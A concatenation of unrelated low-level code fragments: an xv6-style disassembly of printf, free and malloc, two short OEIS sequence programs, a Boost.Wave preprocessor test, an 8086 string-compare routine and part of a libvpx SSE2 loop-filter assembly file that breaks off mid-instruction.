putc(fd, c); } state = 0; 4bd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4bf: 84 db test %bl,%bl 4c1: 75 8d jne 450 <printf+0x60> putc(fd, c); } state = 0; } } } 4c3: 8d 65 f4 lea -0xc(%ebp),%esp 4c6: 5b pop %ebx 4c7: 5e pop %esi 4c8: 5f pop %edi 4c9: 5d pop %ebp 4ca: c3 ret 4cb: 90 nop 4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4d0: 83 ec 0c sub $0xc,%esp 4d3: b9 10 00 00 00 mov $0x10,%ecx 4d8: 6a 00 push $0x0 4da: 8b 5d d0 mov -0x30(%ebp),%ebx 4dd: 89 f8 mov %edi,%eax 4df: 8b 13 mov (%ebx),%edx 4e1: e8 6a fe ff ff call 350 <printint> ap++; 4e6: 89 d8 mov %ebx,%eax 4e8: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4eb: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 4ed: 83 c0 04 add $0x4,%eax 4f0: 89 45 d0 mov %eax,-0x30(%ebp) 4f3: e9 4d ff ff ff jmp 445 <printf+0x55> 4f8: 90 nop 4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 500: 8b 45 d0 mov -0x30(%ebp),%eax 503: 8b 18 mov (%eax),%ebx ap++; 505: 83 c0 04 add $0x4,%eax 508: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 50b: b8 37 07 00 00 mov $0x737,%eax 510: 85 db test %ebx,%ebx 512: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 515: 0f b6 03 movzbl (%ebx),%eax 518: 84 c0 test %al,%al 51a: 74 23 je 53f <printf+0x14f> 51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 520: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 523: 8d 45 e3 lea -0x1d(%ebp),%eax 526: 83 ec 04 sub $0x4,%esp 529: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 52b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 52e: 50 push %eax 52f: 57 push %edi 530: e8 8d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 535: 0f b6 03 movzbl (%ebx),%eax 538: 83 c4 10 add $0x10,%esp 53b: 84 c0 test %al,%al 53d: 75 e1 jne 520 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 53f: 31 d2 xor %edx,%edx 541: e9 ff fe ff ff jmp 445 <printf+0x55> 546: 8d 76 00 lea 0x0(%esi),%esi 549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 550: 83 ec 04 sub $0x4,%esp 553: 88 5d e5 mov %bl,-0x1b(%ebp) 556: 8d 45 e5 lea -0x1b(%ebp),%eax 559: 6a 01 push $0x1 55b: e9 4c ff ff ff jmp 4ac <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 560: 83 ec 0c sub $0xc,%esp 563: b9 0a 00 00 00 mov $0xa,%ecx 568: 6a 01 push $0x1 56a: e9 6b ff ff ff jmp 4da <printf+0xea> 56f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 572: 83 ec 04 sub $0x4,%esp 575: 8b 03 mov (%ebx),%eax 577: 6a 01 push $0x1 579: 88 45 e4 mov %al,-0x1c(%ebp) 57c: 8d 45 e4 lea -0x1c(%ebp),%eax 57f: 50 push %eax 580: 57 push %edi 581: e8 3c fd ff ff call 2c2 <write> 586: e9 5b ff ff ff jmp 4e6 <printf+0xf6> 58b: 66 90 xchg %ax,%ax 58d: 66 90 xchg %ax,%ax 58f: 90 nop 00000590 <free>: static Header base; static Header *freep; void free(void *ap) { 590: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 591: a1 dc 09 00 00 mov 0x9dc,%eax static Header base; static Header *freep; void free(void *ap) { 596: 89 e5 mov %esp,%ebp 598: 57 push %edi 599: 56 push %esi 59a: 53 push %ebx 59b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 59e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5a0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5a3: 39 c8 cmp %ecx,%eax 5a5: 73 19 jae 5c0 <free+0x30> 5a7: 89 f6 mov %esi,%esi 5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 5b0: 39 d1 cmp %edx,%ecx 5b2: 72 1c jb 5d0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5b4: 39 d0 cmp %edx,%eax 5b6: 73 18 jae 5d0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 5b8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5ba: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5bc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5be: 72 f0 jb 5b0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5c0: 39 d0 cmp %edx,%eax 5c2: 72 f4 jb 5b8 <free+0x28> 5c4: 39 d1 cmp %edx,%ecx 5c6: 73 f0 jae 5b8 <free+0x28> 5c8: 90 nop 5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 5d0: 8b 73 fc mov -0x4(%ebx),%esi 5d3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5d6: 39 d7 cmp %edx,%edi 5d8: 74 19 je 5f3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5da: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5dd: 8b 50 04 mov 0x4(%eax),%edx 5e0: 8d 34 d0 lea (%eax,%edx,8),%esi 5e3: 39 f1 cmp %esi,%ecx 5e5: 74 23 je 60a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5e7: 89 08 mov %ecx,(%eax) freep = p; 5e9: a3 dc 09 00 00 mov %eax,0x9dc } 5ee: 5b pop %ebx 5ef: 5e pop %esi 5f0: 5f pop %edi 5f1: 5d pop %ebp 5f2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 5f3: 03 72 04 add 0x4(%edx),%esi 5f6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 5f9: 8b 10 mov (%eax),%edx 5fb: 8b 12 mov (%edx),%edx 5fd: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 600: 8b 50 04 mov 0x4(%eax),%edx 603: 8d 34 d0 lea (%eax,%edx,8),%esi 606: 39 f1 cmp %esi,%ecx 608: 75 dd jne 5e7 <free+0x57> p->s.size += bp->s.size; 60a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 60d: a3 dc 09 00 00 mov %eax,0x9dc bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 612: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 615: 8b 53 f8 mov -0x8(%ebx),%edx 618: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 61a: 5b pop %ebx 61b: 5e pop %esi 61c: 5f pop %edi 61d: 5d pop %ebp 61e: c3 ret 61f: 90 nop 00000620 <malloc>: return freep; } void* malloc(uint nbytes) { 620: 55 push %ebp 621: 89 e5 mov %esp,%ebp 623: 57 push %edi 624: 56 push %esi 625: 53 push %ebx 626: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 629: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 62c: 8b 15 dc 09 00 00 mov 0x9dc,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 632: 8d 78 07 lea 0x7(%eax),%edi 635: c1 ef 03 shr $0x3,%edi 638: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 63b: 85 d2 test %edx,%edx 63d: 0f 84 a3 00 00 00 je 6e6 <malloc+0xc6> 643: 8b 02 mov (%edx),%eax 645: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 648: 39 cf cmp %ecx,%edi 64a: 76 74 jbe 6c0 <malloc+0xa0> 64c: 81 ff 00 10 00 00 cmp $0x1000,%edi 652: be 00 10 00 00 mov $0x1000,%esi 657: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 65e: 0f 43 f7 cmovae %edi,%esi 661: ba 00 80 00 00 mov $0x8000,%edx 666: 81 ff ff 0f 00 00 cmp $0xfff,%edi 66c: 0f 46 da cmovbe %edx,%ebx 66f: eb 10 jmp 681 <malloc+0x61> 671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 678: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 67a: 8b 48 04 mov 0x4(%eax),%ecx 67d: 39 cf cmp %ecx,%edi 67f: 76 3f jbe 6c0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 681: 39 05 dc 09 00 00 cmp %eax,0x9dc 687: 89 c2 mov %eax,%edx 689: 75 ed jne 678 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 68b: 83 ec 0c sub $0xc,%esp 68e: 53 push %ebx 68f: e8 96 fc ff ff call 32a <sbrk> if(p == (char*)-1) 694: 83 c4 10 add $0x10,%esp 697: 83 f8 ff cmp $0xffffffff,%eax 69a: 74 1c je 6b8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 69c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 69f: 83 ec 0c sub $0xc,%esp 6a2: 83 c0 08 add $0x8,%eax 6a5: 50 push %eax 6a6: e8 e5 fe ff ff call 590 <free> return freep; 6ab: 8b 15 dc 09 00 00 mov 0x9dc,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6b1: 83 c4 10 add $0x10,%esp 6b4: 85 d2 test %edx,%edx 6b6: 75 c0 jne 678 <malloc+0x58> return 0; 6b8: 31 c0 xor %eax,%eax 6ba: eb 1c jmp 6d8 <malloc+0xb8> 6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 6c0: 39 cf cmp %ecx,%edi 6c2: 74 1c je 6e0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 6c4: 29 f9 sub %edi,%ecx 6c6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6c9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6cc: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 6cf: 89 15 dc 09 00 00 mov %edx,0x9dc return (void*)(p + 1); 6d5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 6d8: 8d 65 f4 lea -0xc(%ebp),%esp 6db: 5b pop %ebx 6dc: 5e pop %esi 6dd: 5f pop %edi 6de: 5d pop %ebp 6df: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 6e0: 8b 08 mov (%eax),%ecx 6e2: 89 0a mov %ecx,(%edx) 6e4: eb e9 jmp 6cf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 6e6: c7 05 dc 09 00 00 e0 movl $0x9e0,0x9dc 6ed: 09 00 00 6f0: c7 05 e0 09 00 00 e0 movl $0x9e0,0x9e0 6f7: 09 00 00 base.s.size = 0; 6fa: b8 e0 09 00 00 mov $0x9e0,%eax 6ff: c7 05 e4 09 00 00 00 movl $0x0,0x9e4 706: 00 00 00 709: e9 3e ff ff ff jmp 64c <malloc+0x2c>
; A091030: Partial sums of powers of 13 (A001022). ; 1,14,183,2380,30941,402234,5229043,67977560,883708281,11488207654,149346699503,1941507093540,25239592216021,328114698808274,4265491084507563,55451384098598320,720867993281778161 add $0,1 mov $1,13 pow $1,$0 div $1,12 mov $0,$1
/*============================================================================= Boost.Wave: A Standard compliant C++ preprocessor library http://www.boost.org/ Copyright (c) 2001-2011 Hartmut Kaiser. Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ // make sure newlines inside of macro invocations get accounted for correctly #define BAZ(T, E) T E struct foo { BAZ (bool, value = true ); }; struct bar {}; //R #line 14 "t_1_038.cpp" //R struct foo //R { //R bool value = true; //R #line 20 "t_1_038.cpp" //R }; //R //R struct bar {}; //H 10: t_1_038.cpp(12): #define //H 08: t_1_038.cpp(12): BAZ(T, E)=T E //H 00: t_1_038.cpp(16): BAZ(bool, value = true ), [t_1_038.cpp(12): BAZ(T, E)=T E] //H 02: bool value = true //H 03: bool value = true
; A017091: a(n) = (8*n + 2)^3. ; 8,1000,5832,17576,39304,74088,125000,195112,287496,405224,551368,729000,941192,1191016,1481544,1815848,2197000,2628072,3112136,3652264,4251528,4913000,5639752,6434856,7301384,8242408,9261000,10360232,11543176,12812904,14172488,15625000,17173512,18821096,20570824,22425768,24389000,26463592,28652616,30959144,33386248,35937000,38614472,41421736,44361864,47437928,50653000,54010152,57512456,61162984,64964808,68921000,73034632,77308776,81746504,86350888,91125000,96071912,101194696,106496424,111980168,117649000,123505992,129554216,135796744,142236648,148877000,155720872,162771336,170031464,177504328,185193000,193100552,201230056,209584584,218167208,226981000,236029032,245314376,254840104,264609288,274625000,284890312,295408296,306182024,317214568,328509000,340068392,351895816,363994344,376367048,389017000,401947272,415160936,428661064,442450728,456533000,470910952,485587656,500566184 mul $0,8 mov $1,2 add $1,$0 pow $1,3 mov $0,$1
code segment assume cs : code assume ds : code init : mov si , offset str1 mov di , offset str2 compare : mov al , cs :[ si ] mov bl , cs :[ di ] cmp al,bl jg greater ;if al>bl then jump to the code labeled greater je equal ;if al=bl then jump to the code labeled equal jl less ;if al<bl then jump to the code labeled less greater : mov al , 1d jmp printleds less : mov al , 3d jmp printleds equal : inc si ;increment the pointers si and di and jump back to inc di ;the code labeled ''compare'' unless cmp al, '$' ;encountering the '$' -signaling the end of string- jne compare ;in either of the input strings mov al , 2d printleds : mov dx , 3FD2h out dx , al hlt str1 db ’ aarabcx$ ’ str2 db ’ aarabcxz$ ’ code ends end init
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" %macro LF_ABS 2 ; %1 value not preserved ; %2 value preserved ; output in %1 movdqa scratch1, %2 ; v2 psubusb scratch1, %1 ; v2 - v1 psubusb %1, %2 ; v1 - v2 por %1, scratch1 ; abs(v2 - v1) %endmacro %macro LF_FILTER_HEV_MASK 8-9 LF_ABS %1, %2 ; abs(p3 - p2) LF_ABS %2, %3 ; abs(p2 - p1) pmaxub %1, %2 ; accumulate mask %if %0 == 8 movdqa scratch2, %3 ; save p1 LF_ABS scratch2, %4 ; abs(p1 - p0) %endif LF_ABS %4, %5 ; abs(p0 - q0) LF_ABS %5, %6 ; abs(q0 - q1) %if %0 == 8 pmaxub %5, scratch2 ; accumulate hev %else pmaxub %5, %9 %endif pmaxub %1, %5 ; accumulate mask LF_ABS %3, %6 ; abs(p1 - q1) LF_ABS %6, %7 ; abs(q1 - q2) pmaxub %1, %6 ; accumulate mask LF_ABS %7, %8 ; abs(q2 - q3) pmaxub %1, %7 ; accumulate mask paddusb %4, %4 ; 2 * abs(p0 - q0) pand %3, [GLOBAL(tfe)] psrlw %3, 1 ; abs(p1 - q1) / 2 paddusb %4, %3 ; abs(p0 - q0) * 2 + abs(p1 - q1) / 2 psubusb %1, [limit] psubusb %4, [blimit] por %1, %4 pcmpeqb %1, zero ; mask psubusb %5, [thresh] pcmpeqb %5, zero ; ~hev %endmacro %macro LF_FILTER 6 ; %1-%4: p1-q1 ; %5: mask ; %6: hev movdqa scratch2, %6 ; save hev pxor %1, [GLOBAL(t80)] ; ps1 pxor %4, [GLOBAL(t80)] ; qs1 movdqa scratch1, %1 psubsb scratch1, %4 ; signed_char_clamp(ps1 - qs1) pandn scratch2, scratch1 ; vp8_filter &= hev pxor %2, [GLOBAL(t80)] ; ps0 pxor %3, [GLOBAL(t80)] ; qs0 movdqa scratch1, %3 psubsb scratch1, %2 ; qs0 - ps0 paddsb scratch2, scratch1 ; vp8_filter += (qs0 - ps0) paddsb scratch2, scratch1 ; vp8_filter += (qs0 - ps0) paddsb scratch2, scratch1 ; vp8_filter += (qs0 - ps0) pand %5, scratch2 ; &= mask movdqa scratch2, %5 paddsb %5, [GLOBAL(t4)] ; Filter1 paddsb scratch2, [GLOBAL(t3)] ; Filter2 ; Filter1 >> 3 movdqa scratch1, zero pcmpgtb scratch1, %5 psrlw %5, 3 pand scratch1, [GLOBAL(te0)] pand %5, [GLOBAL(t1f)] por %5, scratch1 psubsb %3, %5 ; qs0 - Filter1 pxor %3, [GLOBAL(t80)] ; Filter2 >> 3 movdqa scratch1, zero pcmpgtb scratch1, scratch2 psrlw scratch2, 3 pand scratch1, [GLOBAL(te0)] pand scratch2, [GLOBAL(t1f)] por scratch2, scratch1 paddsb %2, scratch2 ; ps0 + Filter2 pxor %2, [GLOBAL(t80)] ; outer tap adjustments paddsb %5, [GLOBAL(t1)] movdqa scratch1, zero pcmpgtb scratch1, %5 psrlw %5, 1 pand scratch1, [GLOBAL(t80)] pand %5, [GLOBAL(t7f)] por %5, scratch1 pand %5, %6 ; vp8_filter &= ~hev psubsb %4, %5 ; qs1 - vp8_filter pxor %4, [GLOBAL(t80)] paddsb %1, %5 ; ps1 + vp8_filter pxor %1, [GLOBAL(t80)] %endmacro ;void vp8_loop_filter_bh_y_sse2 ;( ; unsigned char *src_ptr, ; int src_pixel_step, ; const char *blimit, ; const char *limit, ; const char *thresh ;) global sym(vp8_loop_filter_bh_y_sse2) PRIVATE sym(vp8_loop_filter_bh_y_sse2): %ifidn __OUTPUT_FORMAT__,x64 %define src rcx ; src_ptr %define stride rdx ; src_pixel_step %define blimit r8 %define limit r9 %define thresh r10 %define spp rax %define stride3 r11 %define stride5 r12 %define stride7 r13 push rbp mov rbp, rsp push r12 push r13 mov thresh, arg(4) %else %define src rdi ; src_ptr %define stride rsi ; src_pixel_step %define blimit rdx %define limit rcx %define thresh r8 %define spp rax %define stride3 r9 %define stride5 r10 %define stride7 r11 %endif %define scratch1 xmm5 %define scratch2 xmm6 %define zero xmm7 %define i0 [src] %define i1 [spp] %define i2 [src + 2 * stride] %define i3 [spp + 2 * stride] %define i4 [src + 4 * stride] %define i5 [spp + 4 * stride] %define i6 [src + 2 * stride3] %define i7 [spp + 2 * stride3] %define i8 [src + 8 * stride] %define i9 [spp + 8 * stride] %define i10 [src + 2 * stride5] %define i11 [spp + 2 * stride5] %define i12 [src + 4 * stride3] %define i13 [spp + 4 * stride3] %define i14 [src + 2 * stride7] %define i15 [spp + 2 * stride7] ; prep work lea spp, [src + stride] lea stride3, [stride + 2 * stride] lea stride5, [stride3 + 2 * stride] lea stride7, [stride3 + 4 * stride] pxor zero, zero ; load the first set into registers movdqa xmm0, i0 movdqa xmm1, i1 movdqa xmm2, i2 movdqa xmm3, i3 movdqa xmm4, i4 movdqa xmm8, i5 movdqa xmm9, i6 ; q2, will contain abs(p1-p0) movdqa xmm10, i7 LF_FILTER_HEV_MASK xmm0, xmm1, xmm2, xmm3, xmm4, xmm8, xmm9, xmm10 movdqa xmm1, i2 movdqa xmm2, i3 movdqa xmm3, i4 movdqa xmm8, i5 LF_FILTER xmm1, xmm2, xmm3, xmm8, xmm0, xmm4 movdqa i2, xmm1 movdqa i3, xmm2 ; second set movdqa i4, xmm3 movdqa i5, xmm8 movdqa xmm0, i6 movdqa xmm1, i7 movdqa xmm2, i8 movdqa xmm4, i9 movdqa xmm10, i10 ; q2, will contain abs(p1-p0) movdqa xmm11, i11 LF_FILTER_HEV_MASK xmm3, xmm8, xmm0, xmm1, xmm2, xmm4, xmm10, xmm11, xmm9 movdqa xmm0, i6 movdqa xmm1, i7 movdqa xmm4, i8 movdqa xmm8, i9 LF_FILTER xmm0, xmm1, xmm4, xmm8, xmm3, xmm2 movdqa i6, xmm0 movdqa i7, xmm1 ; last set movdqa i8, xmm4 movdqa i9, xmm8 movdqa xmm0, i10 movdqa xmm1, i11 movdqa xmm2, i12 movdqa xmm3, i13 movdqa xmm9, i14 ; q2, will contain abs(p1-p0) movdqa xmm11, i15 LF_FILTER_HEV_MASK xmm4, xmm8, xmm0, xmm1, xmm2, xmm3, xmm9, xmm11, xmm10 movdqa xmm0, i10 movdqa xmm1, i11 movdqa xmm3, i12 movdqa xmm8, i13 LF_FILTER xmm0, xmm1, xmm3, xmm8, xmm4, xmm2 movdqa i10, xmm0 movdqa i11, xmm1 movdqa i12, xmm3 movdqa i13, xmm8 %ifidn __OUTPUT_FORMAT__,x64 pop r13 pop r12 pop rbp %endif ret ;void vp8_loop_filter_bv_y_sse2 ;( ; unsigned char *src_ptr, ; int src_pixel_step, ; const char *blimit, ; const char *limit, ; const char *thresh ;) global sym(vp8_loop_filter_bv_y_sse2) PRIVATE sym(vp8_loop_filter_bv_y_sse2): %ifidn __OUTPUT_FORMAT__,x64 %define src rcx ; src_ptr %define stride rdx ; src_pixel_step %define blimit r8 %define limit r9 %define thresh r10 %define spp rax %define stride3 r11 %define stride5 r12 %define stride7 r13 push rbp mov rbp, rsp SAVE_XMM 15 push r12 push r13 mov thresh, arg(4) %else %define src rdi %define stride rsi %define blimit rdx %define limit rcx %define thresh r8 %define spp rax %define stride3 r9 %define stride5 r10 %define stride7 r11 %endif %define scratch1 xmm5 %define scratch2 xmm6 %define zero xmm7 %define s0 [src] %define s1 [spp] %define s2 [src + 2 * stride] %define s3 [spp + 2 * stride] %define s4 [src + 4 * stride] %define s5 [spp + 4 * stride] %define s6 [src + 2 * stride3] %define s7 [spp + 2 * stride3] %define s8 [src + 8 * stride] %define s9 [spp + 8 * stride] %define s10 [src + 2 * stride5] %define s11 [spp + 2 * stride5] %define s12 [src + 4 * stride3] %define s13 [spp + 4 * stride3] %define s14 [src + 2 * stride7] %define s15 [spp + 2 * stride7] %define i0 [rsp] %define i1 [rsp + 16] %define i2 [rsp + 32] %define i3 [rsp + 48] %define i4 [rsp + 64] %define i5 [rsp + 80] %define i6 [rsp + 96] %define i7 [rsp + 112] %define i8 [rsp + 128] %define i9 [rsp + 144] %define i10 [rsp + 160] %define i11 [rsp + 176] %define i12 [rsp + 192] %define i13 [rsp + 208] %define i14 [rsp + 224] %define i15 [rsp + 240] ALIGN_STACK 16, rax ; reserve stack space %define temp_storage 0 ; size is 256 (16*16) %define stack_size 256 sub rsp, stack_size ; prep work lea spp, [src + stride] lea stride3, [stride + 2 * stride] lea stride5, [stride3 + 2 * stride] lea stride7, [stride3 + 4 * stride] ; 8-f movdqa xmm0, s8 movdqa xmm1, xmm0 punpcklbw xmm0, s9 ; 80 90 punpckhbw xmm1, s9 ; 88 98 movdqa xmm2, s10 movdqa xmm3, xmm2 punpcklbw xmm2, s11 ; a0 b0 punpckhbw xmm3, s11 ; a8 b8 movdqa xmm4, xmm0 punpcklwd xmm0, xmm2 ; 80 90 a0 b0 punpckhwd xmm4, xmm2 ; 84 94 a4 b4 movdqa xmm2, xmm1 punpcklwd xmm1, xmm3 ; 88 98 a8 b8 punpckhwd xmm2, xmm3 ; 8c 9c ac bc ; using xmm[0124] ; work on next 4 rows movdqa xmm3, s12 movdqa xmm5, xmm3 punpcklbw xmm3, s13 ; c0 d0 punpckhbw xmm5, s13 ; c8 d8 movdqa xmm6, s14 movdqa xmm7, xmm6 punpcklbw xmm6, s15 ; e0 f0 punpckhbw xmm7, s15 ; e8 f8 movdqa xmm8, xmm3 punpcklwd xmm3, xmm6 ; c0 d0 e0 f0 punpckhwd xmm8, xmm6 ; c4 d4 e4 f4 movdqa xmm6, xmm5 punpcklwd xmm5, xmm7 ; c8 d8 e8 f8 punpckhwd xmm6, xmm7 ; cc dc ec fc ; pull the third and fourth sets together movdqa xmm7, xmm0 punpckldq xmm0, xmm3 ; 80 90 a0 b0 c0 d0 e0 f0 punpckhdq xmm7, xmm3 ; 82 92 a2 b2 c2 d2 e2 f2 movdqa xmm3, xmm4 punpckldq xmm4, xmm8 ; 84 94 a4 b4 c4 d4 e4 f4 punpckhdq xmm3, xmm8 ; 86 96 a6 b6 c6 d6 e6 f6 movdqa xmm8, xmm1 punpckldq xmm1, xmm5 ; 88 88 a8 b8 c8 d8 e8 f8 punpckhdq xmm8, xmm5 ; 8a 9a aa ba ca da ea fa movdqa xmm5, xmm2 punpckldq xmm2, xmm6 ; 8c 9c ac bc cc dc ec fc punpckhdq xmm5, xmm6 ; 8e 9e ae be ce de ee fe ; save the calculations. we only have 15 registers ... movdqa i0, xmm0 movdqa i1, xmm7 movdqa i2, xmm4 movdqa i3, xmm3 movdqa i4, xmm1 movdqa i5, xmm8 movdqa i6, xmm2 movdqa i7, xmm5 ; 0-7 movdqa xmm0, s0 movdqa xmm1, xmm0 punpcklbw xmm0, s1 ; 00 10 punpckhbw xmm1, s1 ; 08 18 movdqa xmm2, s2 movdqa xmm3, xmm2 punpcklbw xmm2, s3 ; 20 30 punpckhbw xmm3, s3 ; 28 38 movdqa xmm4, xmm0 punpcklwd xmm0, xmm2 ; 00 10 20 30 punpckhwd xmm4, xmm2 ; 04 14 24 34 movdqa xmm2, xmm1 punpcklwd xmm1, xmm3 ; 08 18 28 38 punpckhwd xmm2, xmm3 ; 0c 1c 2c 3c ; using xmm[0124] ; work on next 4 rows movdqa xmm3, s4 movdqa xmm5, xmm3 punpcklbw xmm3, s5 ; 40 50 punpckhbw xmm5, s5 ; 48 58 movdqa xmm6, s6 movdqa xmm7, xmm6 punpcklbw xmm6, s7 ; 60 70 punpckhbw xmm7, s7 ; 68 78 movdqa xmm8, xmm3 punpcklwd xmm3, xmm6 ; 40 50 60 70 punpckhwd xmm8, xmm6 ; 44 54 64 74 movdqa xmm6, xmm5 punpcklwd xmm5, xmm7 ; 48 58 68 78 punpckhwd xmm6, xmm7 ; 4c 5c 6c 7c ; pull the first two sets together movdqa xmm7, xmm0 punpckldq xmm0, xmm3 ; 00 10 20 30 40 50 60 70 punpckhdq xmm7, xmm3 ; 02 12 22 32 42 52 62 72 movdqa xmm3, xmm4 punpckldq xmm4, xmm8 ; 04 14 24 34 44 54 64 74 punpckhdq xmm3, xmm8 ; 06 16 26 36 46 56 66 76 movdqa xmm8, xmm1 punpckldq xmm1, xmm5 ; 08 18 28 38 48 58 68 78 punpckhdq xmm8, xmm5 ; 0a 1a 2a 3a 4a 5a 6a 7a movdqa xmm5, xmm2 punpckldq xmm2, xmm6 ; 0c 1c 2c 3c 4c 5c 6c 7c punpckhdq xmm5, xmm6 ; 0e 1e 2e 3e 4e 5e 6e 7e ; final combination movdqa 